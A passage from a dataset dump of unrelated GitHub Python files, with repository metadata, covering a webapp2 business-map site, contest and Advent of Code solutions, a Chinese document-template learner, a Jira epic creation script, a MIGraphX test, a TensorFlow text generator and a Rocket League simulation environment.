\"\n message.to = venture.email\n message.subject = \"Your request has been received.\"\n message.body = '''\n Dear %s\n\n Your request to be added to the NI Digital Map has been received. We are now verifying\n the information you provided and will add you to the map shortly.\n\n Please follow us on Twitter @NIDigitalMap and share the map with other business users and\n thank you for using NI Digital Map.\n\n Many thanks\n NI Digital Map\n\n ''' % venture.name\n\n message.send()\n return\n\nclass MainHandler(webapp2.RequestHandler):\n\n def get(self):\n\n uastring = self.request.headers.get(\"user_agent\")\n if is_mobile(uastring):\n self.redirect(\"/mobile\")\n\n template = template_env.get_template(\"index.html\")\n\n # check if we have a cached result\n cache_key = 'ventures_all'\n template_vars = memcache.get(cache_key)\n # return result from cache if found\n if template_vars is not None:\n self.response.out.write(template.render(template_vars))\n return\n\n logging.info('CACHE MISS: %s' % cache_key)\n # cache miss so get from datastore\n ventures = Venture.all()\n coords = get_coords(ventures)\n template_vars = {\"coords\": coords}\n # add template_vars to cache so subsequent checks are quicker\n memcache.set(cache_key, template_vars)\n\n self.response.out.write(template.render(template_vars))\n\n\nclass AddVenture(webapp2.RequestHandler):\n\n def get(self):\n template = template_env.get_template(\"addcompany.html\")\n self.response.out.write(template.render())\n\n\nclass SaveVenture(webapp2.RequestHandler):\n\n def post(self):\n venture_vals = {}\n venture = Venture()\n venture_keys = [\"name\", \"street\", \"street2\", \"city\", \"county\",\n \"postcode\", \"latitude\", \"longitude\",\n \"category\", \"website\", \"email\", \"phone\"]\n for item in venture_keys:\n venture_vals[item] = cgi.escape(self.request.get(item))\n for value in venture_vals:\n setattr(venture, value, str(venture_vals[value]))\n\n try:\n image = self.request.get('img')\n venture.logo = db.Blob(image)\n except:\n pass\n\n if \"http://\" in venture.website:\n venture.website = venture.website.replace(\"http://\", \"\")\n\n venture.approved = False\n venture.save()\n\n send_addition_email(venture)\n\n # flush on successful save to force cache rebuild\n memcache.flush_all()\n template_vars = {\"venture\" : venture}\n\n template = template_env.get_template(\"unapproved.html\")\n time.sleep(3) #Errors switching from add to unapproved, adding delay to try and fix.\n\n self.response.out.write(template.render(template_vars))\n\n\nclass FilterCategory(webapp2.RequestHandler):\n\n def get(self):\n template = template_env.get_template(\"index.html\")\n category = self.request.get(\"category\")\n\n # check if we have a cached result\n cache_key = 'ventures_category_%s' % category\n template_vars = memcache.get(cache_key)\n # return result from cache if found\n if template_vars is not None:\n self.response.out.write(template.render(template_vars))\n return\n\n # cache miss so get from datastore\n logging.info('CACHE MISS: %s' % cache_key)\n ventures = Venture.get_many(\"category\", category)\n coords = get_coords(ventures)\n template_vars = {\"coords\": coords}\n # add template_vars to cache so subsequent checks are quicker\n memcache.set(cache_key, template_vars)\n\n self.response.out.write(template.render(template_vars))\n\n\nclass ViewVenture(webapp2.RequestHandler):\n\n def get(self):\n\n uniqueid = int(self.request.get(\"uniqueid\"))\n\n # check if we have a cached result\n cache_key = 'venture_%d' % uniqueid\n venture = memcache.get(cache_key)\n # return result from cache if found\n if venture is None:\n logging.info('CACHE MISS: %s' % cache_key)\n # cache miss so get from datastore\n venture = Venture.get_one(\"uniqueid\", uniqueid)\n\n if venture:\n if venture.approved:\n template = template_env.get_template(\"venture.html\")\n template_vars = {\"venture\": venture}\n else:\n template = template_env.get_template(\"unapproved.html\")\n template_vars = {\"venture\": venture}\n else:\n template = template_env.get_template(\"notfound.html\")\n template_vars = {\"uniqueid\": uniqueid}\n\n # add template_vars to cache so subsequent checks are quicker\n memcache.set(cache_key, venture)\n self.response.out.write(template.render(template_vars))\n\n\nclass MobileVersion(webapp2.RequestHandler):\n def get(self):\n template = template_env.get_template(\"mobile.html\")\n\n # check if we have a cached result\n cache_key = 'ventures_all'\n template_vars = memcache.get(cache_key)\n # return result from cache if found\n if template_vars is not None:\n self.response.out.write(template.render(template_vars))\n return\n\n logging.info('CACHE MISS: %s' % cache_key)\n # cache miss so get from datastore\n ventures = Venture.all()\n coords = get_coords(ventures)\n template_vars = {\"coords\": coords}\n # add template_vars to cache so subsequent checks are quicker\n memcache.set(cache_key, template_vars)\n\n self.response.out.write(template.render(template_vars))\n\n\nclass ServeLogo(webapp2.RequestHandler):\n\n def get(self):\n\n uniqueid = int(self.request.get(\"uniqueid\"))\n\n # check if we have a cached result\n cache_key = 'venture_image_%s' % uniqueid\n image = memcache.get(cache_key)\n # return result from cache if found\n if image is not None:\n self.response.headers['Content-Type'] = 'image/png'\n self.response.out.write(image)\n return\n\n logging.info('CACHE MISS: %s' % cache_key)\n venture = Venture.get_one(\"uniqueid\", uniqueid)\n image = venture.logo\n if venture.logo:\n image = images.resize(image, 96, 96)\n self.response.headers['Content-Type'] = 'image/png'\n # add image to cache so subsequent checks are quicker\n memcache.set(cache_key, image)\n self.response.out.write(image)\n else:\n self.abort(404)\n\n\napp = webapp2.WSGIApplication([('/', MainHandler),\n ('/add', AddVenture),\n ('/save', SaveVenture),\n ('/category/?', FilterCategory),\n ('/venture/?', ViewVenture),\n ('/logo/?', ServeLogo),\n ('/mobile', MobileVersion)\n ], debug=True)\n","repo_name":"colinmasters/nimap","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8412,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23601133601","text":"import string\nimport sys\n\ndef find_snap_th_light(snappers):\n if snappers == 1:\n return 1\n \n snaps = 0\n chain = [0 for i in range(snappers)]\n while True:\n snaps += 1\n flow = True\n for i in range(snappers):\n if not flow:\n break\n else:\n if chain[i]==0:\n chain[i] = 1\n if i == snappers-1:\n return snaps + 1\n break\n else:\n chain[i] = 0\n\ndef solve(chain, snaps):\n if snaps == 0: return False\n if chain == 1: return (snaps%2!=0)\n if chain > 0:\n #snaps_th = find_snap_th_light(chain)\n snaps_th = 2**chain\n snaps = snaps - (snaps_th - 1) # first snaps\n if snaps < 0: # light is OFF\n return False\n else:\n return (snaps%snaps_th) == 0 # if 0 is ON else is OFF\n \ndef main():\n file = open(sys.argv[1])\n output = open('result.a', 'w')\n\n # number of maps\n cases = int(file.readline())\n\n for index in range(cases):\n # load the height and width\n chain, snap = file.readline().split()\n chain, snap = int(chain), int(snap)\n result = solve(chain, snap)\n template = \"Case #%d: %s\\n\"\n output.write(template%((index+1, \"ON\" if result else \"OFF\")))\n\n output.flush()\n output.close()\n file.close()\n \nmain()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_53/527.py","file_name":"527.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6427611329","text":"# -*- encoding: utf-8 -*-\n'''\n@File : learn_module.py\n@Time : 2022/03/24\n@Author : ATANG_\n@Version : 1.0\n@Desc : 文档学习模块\n'''\n\nimport log_module as log\nimport json\nimport os\nimport re\nimport sys\nimport warnings\n\nfrom docx import Document\nfrom LAC import LAC\n# from text2vec import Similarity\n\nfrom learn_module import learn_utils\n# import learn_utils\nsys.path.append('..')\n\n\n# CACHE_DIR = '../../cache/learn_module'\n# STOPWORDS_PATH = './stopwords.txt'\nCACHE_DIR = './cache/learn_module'\nSTOPWORDS_PATH = './src/stopwords.txt'\n\n\nclass LearnWord(object):\n \"\"\" 字词学习 -\n \"\"\"\n pass\n\n\nclass LearnSentence(object):\n \"\"\" 句子学习 -\n \"\"\"\n\n stopwords = [line.strip() for line in open(\n STOPWORDS_PATH, 'r', encoding='utf-8').readlines()]\n infowords = ['TIME', 'm']\n filter_pattern = {\n '政府报告': {\n 'TIME': ['\\d'],\n 'm': ['\\d', '第[一二三四五六七八九十]+[次|届]'],\n },\n '学术论文': {\n 'TIME': ['\\d'],\n },\n }\n\n def __init__(self):\n # 分词器\n self.lac = LAC(mode='lac')\n self.params_manager = learn_utils.ParametersManager()\n\n def cut_paragraph(self, docs):\n doc_sentences = list()\n for doc in docs:\n sentence_num = 0\n sentences = list()\n for paragraph in doc['docText']:\n res = paragraph.split('。')\n if res[-1] == \"\":\n res = res[:-1]\n res[-1] += '。'\n sentences.append(res)\n sentence_num += len(res)\n doc_sentences.append({\n 'docName': doc['docName'],\n 'sentences': sentences,\n 'sentence_num': sentence_num\n })\n return doc_sentences\n\n def concat_sentences(self, pattern_doc):\n new_pattern_doc = {\n 'paragraphs': [],\n 'params': pattern_doc['params'],\n }\n for paragraph in pattern_doc['sentences']:\n new_pattern_doc['paragraphs'].append('。'.join(paragraph))\n return new_pattern_doc\n\n # 分析参数信息\n # def _analyze_info(self, vocab, idx):\n # pass\n\n # 停用词过滤\n # def _filter_stopwords(self, vocab):\n # new_vocab = [word for word in zip(vocab[0], vocab[1]) if word[0] not in LearnSentence.stopwords]\n # return new_vocab\n\n # 信息词后过滤\n def _post_filter(self, word, tag, doc_type):\n for pattern in LearnSentence.filter_pattern[doc_type][tag]:\n if bool(re.search(pattern, word)):\n return True\n return False\n\n # 生成参数\n def _create_param(self, word):\n if self.params_manager.is_exist(word):\n param_name = self.params_manager.update(word)\n else:\n param_name = self.params_manager.create(word)\n return param_name\n\n def _extract_pattern(self, sentence, doc_type):\n vocab = self.lac.run(sentence)\n infos = [idx for idx, tag in enumerate(\n vocab[1]) if tag in LearnSentence.infowords]\n for idx in infos:\n if self._post_filter(vocab[0][idx], vocab[1][idx], doc_type):\n param_name = self._create_param(vocab[0][idx])\n # 参数替换信息词\n vocab[0][idx] = param_name\n new_sentence = ''.join(vocab[0])\n return new_sentence\n\n # 句式学习\n def learn_pattern(self, merge_doc, doc_type):\n pattern_doc, pa = {'sentences': []}, []\n for paragraph in merge_doc:\n for sentence in paragraph:\n pa.append(self._extract_pattern(sentence, doc_type))\n pattern_doc['sentences'].append(pa.copy())\n pa.clear()\n pattern_doc['params'] = self.params_manager.copy()\n self.params_manager.clear()\n return pattern_doc\n\n\nclass LearnDiscourse(object):\n \"\"\" 篇章学习 -\n \"\"\"\n\n # 标题模板\n title_pattern = {\n '政府报告': {\n 1: '\\s*[一二三四五六七八九十]+、',\n 2: '\\s*(([一二三四五六七八九十]+))',\n 3: '\\s*[0-9]+\\.',\n 4: '\\s*(([0-9]+))',\n 5: '\\s*([①②③④⑤⑥⑦⑧⑨⑩]|([0-9]+)))',\n 6: '\\s*(([A-Z]\\.)|(([A-Z])))',\n 7: '\\s*(([a-z]\\.)|(([a-z])))',\n },\n '学术论文': {}\n }\n # 标题序号\n title_number = '({}级标题)'\n # 结尾模板\n ending_pattern = {\n '政府报告': '\\s*(各位代表|来源)',\n '学术论文': '',\n }\n\n def __init__(self):\n pass\n\n # 标题匹配\n def _match_title(self, paragraph, doc_type):\n for level, pattern in LearnDiscourse.title_pattern[doc_type].items():\n res = re.match(pattern, paragraph)\n if res != None:\n return level, res.span()\n return 0, None\n\n # 特殊标题切割\n def _special_title_cut(self, paragraph):\n pos = paragraph.find('。')\n return [paragraph] if pos == -1 else [paragraph[:pos], paragraph[pos+1:]]\n\n # 划分文档标题\n def _title_partition(self, paragraphs):\n if not paragraphs:\n return ''\n title = paragraphs[0]\n paragraphs.remove(title)\n return title\n\n # 划分结尾\n def _ending_partition(self, paragraphs, doc_type):\n ending = []\n if not paragraphs:\n return ending, []\n for idx, paragraph in enumerate(reversed(paragraphs)):\n if re.match(LearnDiscourse.ending_pattern[doc_type], paragraph):\n ending.insert(0, paragraph)\n else:\n break\n sep = len(paragraphs) if idx == 0 else idx * -1\n return ending, paragraphs[:sep]\n\n # 段落正文划分\n def _paragraph_partition(self, paragraphs_body, doc_type):\n partition, openning, pa, level_list, flag = [], [], [], [], False\n for paragraph in paragraphs_body:\n level, span = self._match_title(paragraph, doc_type)\n if level > 0:\n paragraph = LearnDiscourse.title_number.format(\n level) + paragraph[span[1]:]\n if len(pa) > 0:\n if not flag:\n flag = True\n openning = pa.copy()\n else:\n partition.append(pa.copy())\n pa.clear()\n level_list.append(level)\n pa.extend(self._special_title_cut(paragraph))\n else:\n pa.append(paragraph)\n if pa is not []:\n partition.append(pa.copy())\n assert len(partition) == len(level_list)\n return openning, partition, level_list\n\n def _create_node(self, part, level):\n paragraphs = part[1:] if len(part) > 1 else list()\n node = {\n 'title': part[0],\n 'level': level,\n 'paragraphs': paragraphs,\n 'child': [],\n }\n return node\n\n # 结构生成\n def _generate_structure(self, partition, level_list):\n child = []\n title_stack, temp_stack = learn_utils.Stack(), learn_utils.Stack()\n for idx, part in enumerate(partition):\n title_stack.push(self._create_node(part, level_list[idx]))\n while not title_stack.is_empty():\n title = title_stack.pop()\n while not temp_stack.is_empty():\n if title['level'] < temp_stack.get_top()['level']:\n title['child'].append(temp_stack.pop())\n continue\n break\n temp_stack.push(title)\n temp_stack.transfer(child)\n return child\n\n # 篇章结构学习\n def learn_structure(self, pattern_doc, doc_type):\n template_doc = {}\n paragraphs = pattern_doc['paragraphs'].copy()\n template_doc['title'] = self._title_partition(paragraphs)\n template_doc['level'] = 0\n template_doc['ending'], paragraphs_body = \\\n self._ending_partition(paragraphs, doc_type)\n template_doc['openning'], partition, level_list = \\\n self._paragraph_partition(paragraphs_body, doc_type)\n template_doc['child'] = self._generate_structure(partition, level_list)\n template_doc['params'] = pattern_doc['params']\n return template_doc\n\n\nclass DocLearnModule(object):\n \"\"\" 文档学习模块 -\n \"\"\"\n\n merge_similarity_threshold = 0.6\n merge_sentence_length_threshold = 90\n\n def __init__(self):\n # 计算文本相似度\n # self.sim = Similarity()\n self.ls = LearnSentence()\n self.ld = LearnDiscourse()\n\n def _get_docs(self, paths):\n def get_doc(path):\n doc = Document(path)\n paragraphs = []\n for paragraph in doc.paragraphs:\n if paragraph.text.strip() == '':\n continue\n paragraphs.append(paragraph.text.strip())\n return {'docName': os.path.basename(path), 'docText': paragraphs}\n\n docs = []\n if isinstance(paths, str):\n docs.append(get_doc(paths))\n return docs, 1\n elif isinstance(paths, list) or isinstance(paths, tuple):\n for path in paths:\n docs.append(get_doc(path))\n return docs, len(paths)\n\n def _to_json(self, data):\n return json.dumps(data, ensure_ascii=False, indent=4)\n\n def _save_data(self, data, path):\n with open(path, 'w') as f:\n f.write(self._to_json(data))\n\n # 通过文本相似度计算是否融合,保留每个文档都出现的相似句子\n def _is_merge(self, base_sentence, refer_docs):\n def is_similar(refer_doc):\n for paragraph in refer_doc['sentences']:\n for sentence in paragraph:\n # score = self.sim.get_score(base_sentence, sentence)\n score = learn_utils.tf_similarity(base_sentence, sentence)\n if score > DocLearnModule.merge_similarity_threshold:\n log.INFO('【相似度得分】:{}\\n【基准句】:{}\\n【参考句】:{}'.\n format(score, base_sentence, sentence))\n paragraph.remove(sentence)\n return True\n return False\n for refer_doc in refer_docs:\n if not is_similar(refer_doc):\n return False\n return True\n\n # 文档融合\n def _merge_docs(self, docs, doc_num):\n if doc_num == 1:\n return docs[0]['sentences']\n num_list = [item['sentence_num'] for item in docs]\n # 选取句子数最多的文档为base,其余为refer\n base_idx = num_list.index(max(num_list))\n base_doc = docs[base_idx]\n docs.remove(base_doc)\n refer_docs = docs.copy()\n log.INFO('已选取基准文档:{}'.format(base_doc['docName']))\n\n merge_doc, pa = [], []\n for paragraph in base_doc['sentences']:\n for sentence in paragraph:\n if self._is_merge(sentence, refer_docs):\n pa.append(sentence)\n if len(pa) != 0:\n merge_doc.append(pa.copy())\n pa.clear()\n return merge_doc\n\n # 文档学习\n def learn_docs(self, doc_type, doc_paths):\n warnings.filterwarnings('ignore')\n\n log.INFO('文档类型: {}'.format(doc_type))\n log.INFO('文档列表: {}'.format(json.dumps(doc_paths, ensure_ascii=False)))\n docs, doc_num = self._get_docs(doc_paths)\n if doc_num == 0:\n return \"\"\n\n merge_doc = self._merge_docs(self.ls.cut_paragraph(docs), doc_num)\n self._save_data(merge_doc, os.path.join(CACHE_DIR, 'merge_doc.json'))\n # log.INFO('文档融合结果:{}'.format(self._to_json(merge_doc)))\n log.INFO('文档融合完成')\n\n pattern_doc = self.ls.learn_pattern(merge_doc, doc_type)\n self._save_data(pattern_doc, os.path.join(\n CACHE_DIR, 'pattern_doc.json'))\n # log.INFO('句子学习结果:{}'.format(self._to_json(pattern_doc)))\n log.INFO('句子学习完成')\n\n template_doc = self.ld.learn_structure(\n self.ls.concat_sentences(pattern_doc),\n doc_type)\n self._save_data(template_doc, os.path.join(\n CACHE_DIR, 'template_doc.json'))\n # log.INFO('篇章学习结果:{}'.format(self._to_json(template_doc)))\n log.INFO('篇章学习完成')\n\n log.INFO('文档学习完成')\n return template_doc\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"ATANG09/Bit-Secretary","sub_path":"src/learn_module/learn_module.py","file_name":"learn_module.py","file_ext":"py","file_size_in_byte":12649,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17794362418","text":"import sys, os\nsys.path.append(os.path.abspath(\"..\"))\nfrom aoc21 import aoc\n\ninput = aoc.aoc()\n\n# Keep shall be true for oxygen and zero for co2\ndef extract_number(input, keep):\n input = input.copy()\n n_bits = len(input[0])\n for b in range(0, n_bits):\n amount_ones = len(list(filter(lambda input: input[b] == '1', input)))\n amount_zero = len(input) - amount_ones\n\n dominant_bit = False\n if amount_ones == amount_zero:\n dominant_bit = keep\n else:\n # keep most common\n dominant_bit = amount_ones > amount_zero\n if not keep:\n # keep least common\n dominant_bit = not dominant_bit\n\n input = list(filter(lambda input: int(input[b]) == int(dominant_bit), input))\n if len(input) <= 1:\n break\n\n return int(input[0], 2)\n\n\no2 = extract_number(input, 1)\nco2 = extract_number(input, 0)\n\nprint(f\"O_2: {o2}\\nCO_2: {co2}\\nRating: {o2*co2}\")","repo_name":"Smephite/aoc2021","sub_path":"day03/day03_2.py","file_name":"day03_2.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14563112771","text":"import argparse\nfrom jira import JIRA\n\njiraOptions = {'server': \"PROJECT URL IN JIRA LIKE https://something.atlassian.net/\"}\n\njira = JIRA(options=jiraOptions, basic_auth=(\n \"ACCOUNT EMAIL\", \"API KEY\"))\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-n', '--name', dest='name', help='Name')\nparser.add_argument('-u', '--url', dest='url', help='URL')\nargs = parser.parse_args()\n\nepic_name = 'Short name for {}'.format(args.name)\nepic_summary = 'Do something {}'.format(args.name)\nepic_description = 'Domain: {} \\n\\n and some text'.format(args.url)\n\n# Create an EPIC\nnew_epic = jira.create_issue(project='TEST',\n customfield_10011=epic_name,\n summary=epic_summary,\n description=epic_description,\n issuetype={'name': 'Epic'},\n )\n# Subtask list\nsm_list = [\n {'name': 'Subtask 1',\n 'link': 'test1.com'},\n {'name': 'Subtask 2',\n 'link': 'test2.com'},\n {'name': 'Subtask 3',\n 'link': 'test3.com'},\n {'name': 'Subtask 4',\n 'link': 'test4.com'},\n {'name': 'Subtask 5',\n 'link': 'test5.com'},\n {'name': 'Subtask 6',\n 'link': 'test6.com'},\n {'name': 'Subtask 7',\n 'link': 'test7.com'},\n]\n\n# Add subtusk to EPIC\nfor c in sm_list:\n new_issue = jira.create_issue(project='TEST',\n summary='{} - {}'.format(args.name,\n c['name']),\n customfield_10014=new_epic.key,\n description='*Subject* \\n {} \\n\\n *Design example* \\n {} \\n\\n *Mobile* \\n\\n *Desktop* \\n\\n'.format(\n args.url, c['link']),\n issuetype={'name': 'Task'},\n )\n","repo_name":"tomatyss/create-epic-in-jira","sub_path":"create_smart_components_tasks_in_jira.py","file_name":"create_smart_components_tasks_in_jira.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1870017023","text":"import migraphx, struct, array, sys\ntry:\n from functools import reduce\nexcept:\n pass\n\n\ndef assert_eq(x, y):\n if x == y:\n pass\n else:\n raise Exception(str(x) + \" != \" + str(y))\n\n\ndef read_float(b, index):\n return struct.unpack_from('f', b, index * 4)[0]\n\n\ndef write_float(b, index):\n struct.pack_into('f', b, index * 4)\n\n\ndef nelements(lens):\n return reduce(lambda x, y: x * y, lens, 1)\n\n\ndef create_buffer(t, data, shape):\n a = array.array(t, data)\n if sys.version_info >= (3, 0):\n m = memoryview(a.tobytes())\n return m.cast(t, shape)\n else:\n m = memoryview(a.tostring())\n return m\n\n\ndef check_argument(a):\n l = a.tolist()\n for i in range(len(l)):\n assert_eq(l[i], read_float(a, i))\n\n\ndef check_shapes(r, m):\n lens = list(m.shape)\n strides = [int(s / m.itemsize) for s in m.strides]\n elements = nelements(lens)\n assert_eq(r.get_shape().elements(), elements)\n assert_eq(r.get_shape().lens(), lens)\n assert_eq(r.get_shape().strides(), strides)\n\n\ndef run(p):\n params = {}\n for key, value in p.get_parameter_shapes().items():\n params[key] = migraphx.generate_argument(value)\n\n return p.run(params)\n\n\ndef test_shape(shape):\n data = list(range(nelements(shape)))\n m = create_buffer('f', data, shape)\n a = migraphx.argument(m)\n check_shapes(a, m)\n assert_eq(a.tolist(), data)\n\n\ndef test_input():\n if sys.version_info >= (3, 0):\n test_shape([4])\n test_shape([2, 3])\n else:\n data = list(range(4))\n m = create_buffer('f', data, [4])\n a1 = migraphx.argument(m)\n a2 = migraphx.argument(bytearray(a1))\n check_shapes(a2, m)\n assert_eq(a1.tolist(), m.tolist())\n\n\ndef test_output():\n p = migraphx.parse_onnx(\"conv_relu_maxpool_test.onnx\")\n p.compile(migraphx.get_target(\"gpu\"))\n\n r1 = run(p)[-1]\n r2 = run(p)[-1]\n assert_eq(r1, r2)\n assert_eq(r1.tolist(), r2.tolist())\n\n check_argument(r1)\n check_argument(r2)\n\n m1 = memoryview(r1)\n m2 = memoryview(r2)\n\n check_shapes(r1, m1)\n check_shapes(r2, m2)\n\n\ntest_input()\ntest_output()\n","repo_name":"ROCmSoftwarePlatform/AMDMIGraphX","sub_path":"test/py/test_array.py","file_name":"test_array.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":135,"dataset":"github-code","pt":"61"} +{"seq_id":"18717917358","text":"import numpy as np\nimport tensorflow as tf\nfrom os import walk\nimport time\n\n\"\"\"\nSteps:\n\n1. Open every file in transcripts.\n2. Read them into Ragged Tensors\n3. Find the number of unique characters. \n4. Convert them into tokens with StringLookup\nDone\n\n5. Make training samples\n\n\n\"\"\"\n\nseq_length = 100\n\n\ndef text_from_ids(ids, table):\n return tf.strings.reduce_join(table(ids), axis=-1)\n\n\ndef read_transcripts():\n filenames = next(walk(\"transcripts\"), (None, None, []))[2]\n\n scripts = []\n for file in filenames:\n with open(f\"transcripts/{file}\", \"rb\") as f:\n text = f.read().decode(encoding=\"utf-8\")\n scripts.append(text)\n\n vocab = sorted(set(''.join(scripts)))\n\n chars = tf.strings.unicode_split(scripts, input_encoding=\"UTF-8\")\n\n ids_from_chars = tf.keras.layers.StringLookup(\n vocabulary=list(vocab), mask_token=None)\n chars_from_ids = tf.keras.layers.StringLookup(\n vocabulary=ids_from_chars.get_vocabulary(), invert=True, mask_token=None)\n\n tokenized = ids_from_chars(chars)\n\n return tokenized, ids_from_chars, chars_from_ids\n\n\ndef split_input_target(sequence):\n input_text = sequence[:-1]\n target_text = sequence[1:]\n return input_text, target_text\n\n\ndef get_angles(pos, i, d_model):\n angle_rates = 1 / np.power(10000, (2 * (i // 2)) / np.float32(d_model))\n return pos * angle_rates\n\n# not using transformer yet\ndef positional_encoding(position, d_model):\n angle_rads = get_angles(np.arange(position)[:, np.newaxis],\n np.arange(d_model)[np.newaxis, :],\n d_model)\n\n angle_rads[:, 0::2] = np.sin(angle_rads[:, 0::2])\n\n angle_rads[:, 1::2] = np.cos(angle_rads[:, 1::2])\n\n pos_encoding = angle_rads[np.newaxis, ...]\n\n return tf.cast(pos_encoding, dtype=tf.float32)\n\n\nclass Model(tf.keras.Model):\n def __init__(self, vocab_size, embedding_dim, rnn_units):\n super().__init__(self)\n self.embedding = tf.keras.layers.Embedding(vocab_size, embedding_dim)\n self.gru = tf.keras.layers.GRU(rnn_units,\n return_sequences=True,\n return_state=True)\n self.dense = tf.keras.layers.Dense(vocab_size)\n\n def call(self, inputs, states=None, return_state=False, training=False):\n x = inputs\n x = self.embedding(x, training=training)\n if states is None:\n states = self.gru.get_initial_state(x)\n x, states = self.gru(x, initial_state=states, training=training)\n x = self.dense(x, training=training)\n\n if return_state:\n return x, states\n else:\n return x\n\n\nclass OneStep(tf.keras.Model):\n def __init__(self, model, chars_from_ids, ids_from_chars, temperature=1.0):\n super().__init__()\n self.temperature = temperature\n self.model = model\n self.chars_from_ids = chars_from_ids\n self.ids_from_chars = ids_from_chars\n\n # Create a mask to prevent \"[UNK]\" from being generated.\n skip_ids = self.ids_from_chars(['[UNK]'])[:, None]\n sparse_mask = tf.SparseTensor(\n # Put a -inf at each bad index.\n values=[-float('inf')]*len(skip_ids),\n indices=skip_ids,\n # Match the shape to the vocabulary\n dense_shape=[len(ids_from_chars.get_vocabulary())])\n self.prediction_mask = tf.sparse.to_dense(sparse_mask)\n\n @tf.function\n def generate_one_step(self, inputs, states=None):\n # Convert strings to token IDs.\n input_chars = tf.strings.unicode_split(inputs, 'UTF-8')\n input_ids = self.ids_from_chars(input_chars).to_tensor()\n\n # Run the model.\n # predicted_logits.shape is [batch, char, next_char_logits]\n predicted_logits, states = self.model(inputs=input_ids, states=states,\n return_state=True)\n # Only use the last prediction.\n predicted_logits = predicted_logits[:, -1, :]\n predicted_logits = predicted_logits/self.temperature\n # Apply the prediction mask: prevent \"[UNK]\" from being generated.\n predicted_logits = predicted_logits + self.prediction_mask\n\n # Sample the output logits to generate token IDs.\n predicted_ids = tf.random.categorical(predicted_logits, num_samples=1)\n predicted_ids = tf.squeeze(predicted_ids, axis=-1)\n\n # Convert from token ids to characters\n predicted_chars = self.chars_from_ids(predicted_ids)\n\n # Return the characters and model state.\n return predicted_chars, states\n\n\ndef main():\n tokens, ids_from_chars, chars_from_ids = read_transcripts()\n\n dataset = tf.data.Dataset.from_tensor_slices(tokens)\n\n dataset = dataset.map(split_input_target)\n\n # for example, target in dataset.as_numpy_iterator():\n # print(\"Input: \", len(text_from_ids(example, chars_from_ids).numpy()) + 1)\n # print(\"Output: \", text_from_ids(target, chars_from_ids).numpy())\n\n BATCH_SIZE = 1\n BUFFER_SIZE = 10\n\n dataset = (\n dataset\n .shuffle(BUFFER_SIZE)\n .batch(BATCH_SIZE, drop_remainder=True)\n .prefetch(tf.data.experimental.AUTOTUNE)\n )\n\n model = Model(\n vocab_size=len(ids_from_chars.get_vocabulary()),\n embedding_dim=256,\n rnn_units=1024\n )\n\n loss = tf.losses.SparseCategoricalCrossentropy(from_logits=True)\n model.compile(optimizer='adam', loss=loss)\n\n history = model.fit(dataset, epochs=10)\n\n one_step_model = OneStep(model, chars_from_ids, ids_from_chars)\n\n start = time.time()\n states = None\n next_char = tf.constant(['MICHAEL:', 'MICHAEL:', 'MICHAEL:', 'MICHAEL:', 'MICHAEL:'])\n result = [next_char]\n\n for n in range(1000):\n next_char, states = one_step_model.generate_one_step(next_char, states=states)\n result.append(next_char)\n\n result = tf.strings.join(result)\n end = time.time()\n print(result, '\\n\\n' + '_' * 80)\n print('\\nRun time:', end - start)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AnthonyYao7/TheOfficeScriptGenerator","sub_path":"nn.py","file_name":"nn.py","file_ext":"py","file_size_in_byte":6062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74452231554","text":"\"\"\"\n The Rocket League gym environment.\n\"\"\"\nfrom typing import List, Union, Tuple, Dict, Any\nfrom gym import Env\nfrom rlgym_sim.simulator import RocketSimGame\nimport RocketSim as rsim\nfrom rlgym_sim.utils import common_values\n\ntry:\n import rlviser_py as rlviser\n rlviser.set_boost_pad_locations(common_values.BOOST_LOCATIONS)\nexcept ImportError:\n rlviser = None\n\nclass Gym(Env):\n def __init__(self, match, copy_gamestate_every_step, dodge_deadzone,\n tick_skip, gravity, boost_consumption):\n super().__init__()\n\n self._match = match\n self.observation_space = match.observation_space\n self.action_space = match.action_space\n self._prev_state = None\n self.rendered = False\n\n self._game = RocketSimGame(match,\n copy_gamestate=copy_gamestate_every_step,\n dodge_deadzone=dodge_deadzone,\n tick_skip=tick_skip)\n\n self.update_settings(gravity=gravity, boost_consumption=boost_consumption, tick_skip=tick_skip)\n\n def reset(self, return_info=False) -> Union[List, Tuple]:\n \"\"\"\n The environment reset function. When called, this will reset the state of the environment and objects in the game.\n This should be called once when the environment is initialized, then every time the `done` flag from the `step()`\n function is `True`.\n \"\"\"\n\n state_str = self._match.get_reset_state()\n state = self._game.reset(state_str)\n\n self._match.episode_reset(state)\n self._prev_state = state\n\n obs = self._match.build_observations(state)\n if return_info:\n info = {\n 'state': state,\n 'result': self._match.get_result(state)\n }\n return obs, info\n return obs\n\n def step(self, actions: Any) -> Tuple[List, List, bool, Dict]:\n \"\"\"\n The step function will send the list of provided actions to the game, then advance the game forward by `tick_skip`\n physics ticks using that action. The game is then paused, and the current state is sent back to rlgym_sim This is\n decoded into a `GameState` object, which gets passed to the configuration objects to determine the rewards,\n next observation, and done signal.\n\n :param actions: An object containing actions, in the format specified by the `ActionParser`.\n :return: A tuple containing (obs, rewards, done, info)\n \"\"\"\n\n actions = self._match.format_actions(self._match.parse_actions(actions, self._prev_state))\n\n state = self._game.step(actions)\n\n obs = self._match.build_observations(state)\n done = self._match.is_done(state)\n reward = self._match.get_rewards(state, done)\n self._prev_state = state\n\n info = {\n 'state': state,\n 'result': self._match.get_result(state)\n }\n\n return obs, reward, done, info\n \n def render(self):\n if rlviser is None:\n raise ImportError(\"rlviser_py not installed. Please install rlviser_py to use render()\")\n\n if self._prev_state is None:\n 